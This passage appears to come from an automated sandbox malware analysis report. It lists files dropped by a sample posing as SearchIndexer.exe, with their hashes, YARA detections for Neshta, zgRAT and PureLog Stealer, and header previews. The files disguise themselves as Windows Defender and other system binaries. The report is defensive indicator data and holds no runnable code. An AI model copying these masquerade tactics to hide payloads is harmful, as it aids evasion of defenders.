                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Windows Defender\4a1145983886ca

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):211
                                                                  Entropy (8bit):5.784617952449066
                                                                  Encrypted:false
                                                                  SSDEEP:6:NnDLRK31y7a1hBKo/CyQsNbGE47W0TVlob4Lh/L4Ug:NnDdQY7IBKiVPG777N/L4Ug
                                                                  MD5:5E3453426C709524071CFF1BBC1A548F
                                                                  SHA1:097608959771782DB32FC5F019DDA951B3611D39
                                                                  SHA-256:F90656A54A343A59523F9DF8946105953AC94576458B7B5EC4B40DDD70B50ABF
                                                                  SHA-512:839784138143BA20C4914FD4F14B9402BD3D02F35EA0A53AF1863A633A88F67DC2E344E7F3A178A1B7E4AC6871FAAF3FF8DFA3DEEC01426058183C9E45A1009B
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:IyJ9sBjrcygm77boABFUfGymXbKGoh3alY06R6hdEzYDtPHupbqX7SrC9hmQ0dD54FAiHfXDdmPpru2IUZaM1gdTqy6tURmlvdInOinKEm3UDBUOoe5aC1EYmr2TinsMAo4OlP3vwQHOmIPpdrF0VLj4ZuBgqTlb3rUZHGnZkKovtzwdbNz0h20yF9y1NWEcopU4y0hXEqQLhxLk8hE

                                                                  C:\Program Files (x86)\Windows Defender\SearchIndexer.exe

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3746304
                                                                  Entropy (8bit):7.816803699176531
                                                                  Encrypted:false
                                                                  SSDEEP:98304:NzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65WzU:NzRppqVDqOnVWNG5bR+65WzU
                                                                  MD5:F2997DFB6F126670204C83344B678F0E
                                                                  SHA1:FB1A90117FF594CAC3B2CEBBBBD072674F246CE3
                                                                  SHA-256:73B461A9D859F019ED4F0DDA1E0CC86A36B826BDE0F318E806503876056B41C0
                                                                  SHA-512:20BD6C2E2AEBF5E96F8D9497880538061F23ED8B925CF916749DA16DB6339A2DD2FF5166AA0C096E23F7654E5B2959D9AF108CF5CCF68291CC80F8C7C2D235AD
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Windows Multimedia Platform\9a52da74613a33

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with very long lines (748), with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):748
                                                                  Entropy (8bit):5.89420206265121
                                                                  Encrypted:false
                                                                  SSDEEP:12:nxe+JdRjzYO3lwNcNcsJdCY5wud2c/rfmOm+KjlZI1gfCWM598fKU1qAv3Jr7:nxRRXY+OsJEYuu5/qOm+KjlZIrh59OKg
                                                                  MD5:AF72F262C13E3B30C31255E0CD4D89E2
                                                                  SHA1:1139D2B3609E1110E5F6AB2DD37831CD5108B1F4
                                                                  SHA-256:EA212D376E08A9DCCF5C6C6E351720D31CE9ADDD7F4CE762FCA2E46C42B0BBCD
                                                                  SHA-512:C0EC1B29CC90F69110B4B92A190914DA6035E0963473A72E064855F7748E2B36A112F8C922BB1E2E99AF2B2FF0F72C81073BB2F13E9C5457A18F8ABBE9AD4DB1
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:MJqJEpZFIOqxGR1LVTG0k5gayuicn5oDvgCeJw2HFupOd6Z8Um1KpTJRmQUTH6bMjnCjOWCia8uzPS61VjIBEeXcXv13bi9JSdoz4zu8kStriUBUTd8iyaIFPkMceIG19lgwnG7fzJavvq4Duhk8kbV2VikUnRdbL1r6xOqMfdso9WUjpIs7iHRhQobFgn1hq9j487Pf0YdHsr28OAoejf3DjKqIxlp1lL7AxZks2MHKoJyjwd0g9W8LFfUxRHsOsmfht2KzZ5lWYtZaWHWUvJ1PNw5SFxbvd2bCnRz4SBGEulwVF4bJvYdjuQT762tme03fSXwFRcBuCxem9jMKVRAFZ2SX727ZRdk3sRDsIW2TWsg6wr7XqiRM0xGZFYIYfldjNk4sfeC9ZqsqVVlP5jtsMXD4KomtOdyuP7sLxO2MgSxJEZEtx2d52uWzh9h11Tu527bYmZbqqhM4k3zvj35VA22ek3oxrBUMh2QH8pGXaxPUicPnKwR7XZ4AF6xtvn8pM9Xrnsw4wh4Nni6InAn5uXzH7PBC2XmwyjHiFh9b9XLzerXh9oFuAD5zKPuXquBZ5HZDaYDGBM5WL9nQ2eDNR1wuoRYzxmuPVv4WRTHll9txIinLmdfMqxIEVoZI9NTYbqBaFQ8iXcmRH8mGoNNTHiiimzBm48lXqVWchNFVe6zOK17WCSewA9R3HcxPPWnY1PkwmKiaH2yKsUXv2okleyXrDdUEZ0FISbX5QLu1

                                                                  C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3704832
                                                                  Entropy (8bit):7.825322353352518
                                                                  Encrypted:false
                                                                  SSDEEP:98304:TzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65Wz:TzRppqVDqOnVWNG5bR+65Wz
                                                                  MD5:3E3FE7663181211E5983DA48431DDF33
                                                                  SHA1:0BEA67A96DBA0798541EA15426FB0AC38C10FF06
                                                                  SHA-256:CC398C54D30B3C0C1FF1D54F03FB157578346D088C9CE38FC6347698F25FC166
                                                                  SHA-512:80056C508DADE773729C239BD0B43D92C9E6D8DE513B19776BF28665E37E44D022FD6C5F33EBFA3FE31B9480CE0705E9581D872B8E79703931DA459D4F5922A0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R.f..................8.........n.8.. ....8...@.. ........................8...........@................................. .8.K.....8. .....................8...................................................... ............... ..H............text...t~8.. ....8................. ..`.rsrc... .....8.......8.............@....reloc........8.......8.............@..B................P.8.....H...........................z.-...8......................................0..........(.... ........8........E....q...M.......)...8l...(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{h...9....& ....8z...*...0..>....... ........8........E....P...t...................8K...~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....8O... ....~....{....:z...& ....8o......... ....~....{u...:U...& ....8J...r...ps....z*~....:.... .

                                                                  C:\Program Files (x86)\Windows NT\TableTextService\en-US\9a52da74613a33

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):77
                                                                  Entropy (8bit):5.2890694950436785
                                                                  Encrypted:false
                                                                  SSDEEP:3:xAvrgEEvIhVutzsEYSNGJE7n:xAzscuJsEYNen
                                                                  MD5:2D0AED42B4B4BE42F834C9A577D24632
                                                                  SHA1:76E0A95A3F11CBBBAA4F3401A41E724FD6EFE13A
                                                                  SHA-256:D2B591D4FA867E114CC67D101C745DCE93490C5855F3354495C7F448D5C5FF4A
                                                                  SHA-512:88A87C7FB37C63A600FD753D12E339F626AACF15C8405F09655748728C7B5A46DBE2EDA78A447097CDECD559FE8E72E0585A10C8390E231E29948501A53C4C50
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:ba9rvuualDMmJNMXaWWiFJrWCbjHu8b8fpK8Jhi517I0yFOeKeXc7h9RtmoTLnpnlNGeDOO3ybqHB

                                                                  C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3746304
                                                                  Entropy (8bit):7.816803699176531
                                                                  Encrypted:false
                                                                  SSDEEP:98304:NzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65WzU:NzRppqVDqOnVWNG5bR+65WzU
                                                                  MD5:F2997DFB6F126670204C83344B678F0E
                                                                  SHA1:FB1A90117FF594CAC3B2CEBBBBD072674F246CE3
                                                                  SHA-256:73B461A9D859F019ED4F0DDA1E0CC86A36B826BDE0F318E806503876056B41C0
                                                                  SHA-512:20BD6C2E2AEBF5E96F8D9497880538061F23ED8B925CF916749DA16DB6339A2DD2FF5166AA0C096E23F7654E5B2959D9AF108CF5CCF68291CC80F8C7C2D235AD
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files\Windows Photo Viewer\9e8d7a4ca61bd9

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):86
                                                                  Entropy (8bit):5.354881435080963
                                                                  Encrypted:false
                                                                  SSDEEP:3:dqWtsfCS936RR1CS33oLlcWFOvqL:zAC5RIMs0yL
                                                                  MD5:5F874E5FB8CA4C2A1148B803A5A8884B
                                                                  SHA1:95420B9959CC605AD58A6B1C9274184E88033697
                                                                  SHA-256:70C2765FE5F4415F5A666208DCD7C38318805ADB43F389D828B36EA392789A33
                                                                  SHA-512:B16B4D4FA8EF17E6E3B1D033CB6D37CE29588C176032D476721EAF5CA9C2FA26B4A1E6066643E9A11D34352A28568C056D257BF8B7E918037B7E822E210D0177
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:BWkvC3C13sIzeAQwp2R6cfr4s1aIPg7Si9YdfXQhUDWclCPCYVfO3zmgppDKd3mXv0RemwRSltmZIOTqmYu4As

                                                                  C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3704832
                                                                  Entropy (8bit):7.825322353352518
                                                                  Encrypted:false
                                                                  SSDEEP:98304:TzRppqmmRX+6fo6du/5P2nPNWNG5trztTgyz+65Wz:TzRppqVDqOnVWNG5bR+65Wz
                                                                  MD5:3E3FE7663181211E5983DA48431DDF33
                                                                  SHA1:0BEA67A96DBA0798541EA15426FB0AC38C10FF06
                                                                  SHA-256:CC398C54D30B3C0C1FF1D54F03FB157578346D088C9CE38FC6347698F25FC166
                                                                  SHA-512:80056C508DADE773729C239BD0B43D92C9E6D8DE513B19776BF28665E37E44D022FD6C5F33EBFA3FE31B9480CE0705E9581D872B8E79703931DA459D4F5922A0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, Author: Joe Security
                                                                  • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe, Author: Joe Security
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R.f..................8.........n.8.. ....8...@.. ........................8...........@................................. .8.K.....8. .....................8...................................................... ............... ..H............text...t~8.. ....8................. ..`.rsrc... .....8.......8.............@....reloc........8.......8.............@..B................P.8.....H...........................z.-...8......................................0..........(.... ........8........E....q...M.......)...8l...(.... ....~....{....9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{h...9....& ....8z...*...0..>....... ........8........E....P...t...................8K...~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....8O... ....~....{....:z...& ....8o......... ....~....{u...:U...& ....8J...r...ps....z*~....:.... .

                                                                  C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4473576
                                                                  Entropy (8bit):6.569965325360163
                                                                  Encrypted:false
                                                                  SSDEEP:98304:pkkCqyDEY7+o3OBvfGVY+40yajyS+9s/pLOq:pkkCqaE68eV+0y8E6L1
                                                                  MD5:809D03153D2FCC1C9E1EE574DDF7CD2E
                                                                  SHA1:CF1FC95A34AFC5A2FB39504D973BC8380A04BAC1
                                                                  SHA-256:C2A715F1396DCDAA9360FB09B89992EE8619362062DFBD6C90CFF751C5272032
                                                                  SHA-512:094FE1BC30027336DFE6A32520DB39D8D27AD1A69716E7E00D6B66D44CFB4EAADBD8D48B6D80BC0D00C60EF0E3483437C82D2185BD704137CB544B11063820DA
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                  Download File
                                                                  Process:C:\Windows\System32\svchost.exe
                                                                  File Type:Extensible storage engine DataBase, version 0x620, checksum 0x07b5db73, page size 16384, DirtyShutdown, Windows version 10.0
                                                                  Category:dropped
                                                                  Size (bytes):1310720
                                                                  Entropy (8bit):0.42211989090208135
                                                                  Encrypted:false
                                                                  SSDEEP:1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
                                                                  MD5:23B58690472DBCC3E3A6B5FC20E2730D
                                                                  SHA1:EF96992C7E4ECB74198F3AB70F8EA74BCA2F8A0F
                                                                  SHA-256:AB1E58291241A13C26C50753E0FD307B327ACAF11A1ECBDB2575FAC0CDE7B194
                                                                  SHA-512:C291E61F62D3B136B7450A3B49275C07CCE1B5264165273F425A12D71838EA468AF4FD6CC96E381E8358FF74A5632E67A42A6E6795205CBC38F9AA981C535BBA
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:...s... .......A.......X\...;...{......................0.!..........{A.6....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................N..-6....}..................;.H6....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):501656
                                                                  Entropy (8bit):6.318829677338838
                                                                  Encrypted:false
                                                                  SSDEEP:12288:yLH18t6x1hjaNHBlfBVDZS82JninSFVlDW:yLOwxyNHBVEHRiSFVlDW
                                                                  MD5:9FB296CF47C4D3E0FEF4974685EBE922
                                                                  SHA1:201293BEEB98FB83D118323C4803590E8C88E060
                                                                  SHA-256:5E21FE2FE640F209EB75B696C3334E577D2035436206C88C1F2E676CF560B75F
                                                                  SHA-512:CA9999251A1905BCA32D46857BD1213D37F2D33689E4D818FC006B88B84AA49AD9DB07B0C4D33361EFC0BFC697F705AEAF90D762C6CFAB3C9A9644BA73D750E3
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1637776
                                                                  Entropy (8bit):6.316717941409346
                                                                  Encrypted:false
                                                                  SSDEEP:24576:P7Z1jyzcKSmKsvwMZJ1XBsn/gu2bRC6dulyyn2WdXM6cWlLIJ:zZ1tKTwMZJ1XBsn/UC6dugWA
                                                                  MD5:987399D498F6C2C7196A60504DCBA1F6
                                                                  SHA1:7A48D6492B9BB936EABAA4C979BD25F87AB3F9B7
                                                                  SHA-256:9F924F7B9B84FBB73E29C707D1C1D61AC00A3AB295BF1BA9754E2189D6E4BC24
                                                                  SHA-512:DE1F5790664A48EE5001541BAE7727431467A65B54EFB43412B1EB474DF6477110E98B8DA1168478B0CED1FA8DDBF69FE7BA209F69FDF9BB58F964A514B12E36
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):224632
                                                                  Entropy (8bit):5.625757771676373
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CBFtCsHjgU7HOg6KTe/+EypudsD22QnSUEhydebz41:k9Ttx0SA+EySaQKeUz41
                                                                  MD5:0FD839CB7D94AF1C672BA149E6C580A8
                                                                  SHA1:12CB0350EC3AEFBC189A117621DBFDCE5DBB6E86
                                                                  SHA-256:E033F780C0F8E58FD81724A1B5B02CCFFF788553B2F5308E4EB46DB37E30F9F4
                                                                  SHA-512:F54057339522E8B1C30550BCCB56B420894FEF6B51F53709A88105362AD09F5A83FC1478BF8D7CD7A0B48D56BE5DCEB8597B71B989743133B2954DEA0E364A41
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):431336
                                                                  Entropy (8bit):5.904107554819713
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9GzBRUKCBTwZVr2miTVVmVVV8VVNVVVcVVVxVVVPVVlVVVRVVVtVVWV60jVLVV+:/zBRnCBOrsBOBf
                                                                  MD5:641CC24F3AFB9E381161F17600323269
                                                                  SHA1:0A390D9A57B534A9A1C0CC441D9CBD9998608140
                                                                  SHA-256:8B5A689B0DB4EFE44C0601A89E97BA126F1E4EA943621B8EE444ED85EEA50CAA
                                                                  SHA-512:67BDB822FE0F484E60B7FA0944A4123D68C1F8B94E70D51F5F336C312F409CF7098EEB828D1A7A13138C7833A3689A7D226D909B1AAA3800EF491D88C39CBB03
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):175160
                                                                  Entropy (8bit):5.997921392487593
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CE/VpSIcnsHKTe8LnZCA5OfkQAm95kQOJeqx6u:k9EtkIpdA5OfzDUeqx6u
                                                                  MD5:707EB4DC866F98B2701F57899DC19D51
                                                                  SHA1:59F9AA5CCB0EE3276F74C23ADD327342EF5B10AE
                                                                  SHA-256:F7DE47E26A16EB2459CD7FDC979BD30D0B50089D39433399EDA465023A0BD0BD
                                                                  SHA-512:C95D902254391B0D3ABD3A07930701E173808413E1F32BA1084F04EB5678EBC87ACAC2EA4BB6B26FE0550D78525EA3F54683FB9567A995B1318B5D9340E514FD
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3162480
                                                                  Entropy (8bit):6.46880916383348
                                                                  Encrypted:false
                                                                  SSDEEP:49152:znW4jqFRZega3xejvY7GQOx4K1fm15FKqO7t78Ity6fod76lmlW8U:ys3OBj4UmOH
                                                                  MD5:EAB4618E120B951B8FADB9965EF352D7
                                                                  SHA1:C706F3479276CE840541862BBBD2C1530362BA03
                                                                  SHA-256:7D252BE50728CA3389124956E16D41F0AD14BB8C6F08D768F8A6555E25EA0F47
                                                                  SHA-512:8F69D95D0D39C8566F3EB1D456AE98285D36852278F474CAC382BF37FCB70714B4747F1984874A16B4850678C93C5170CF37E3A19E2EB89FC5881F00B9E527F2
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, Author: ditekSHen
                                                                  Reputation:unknown
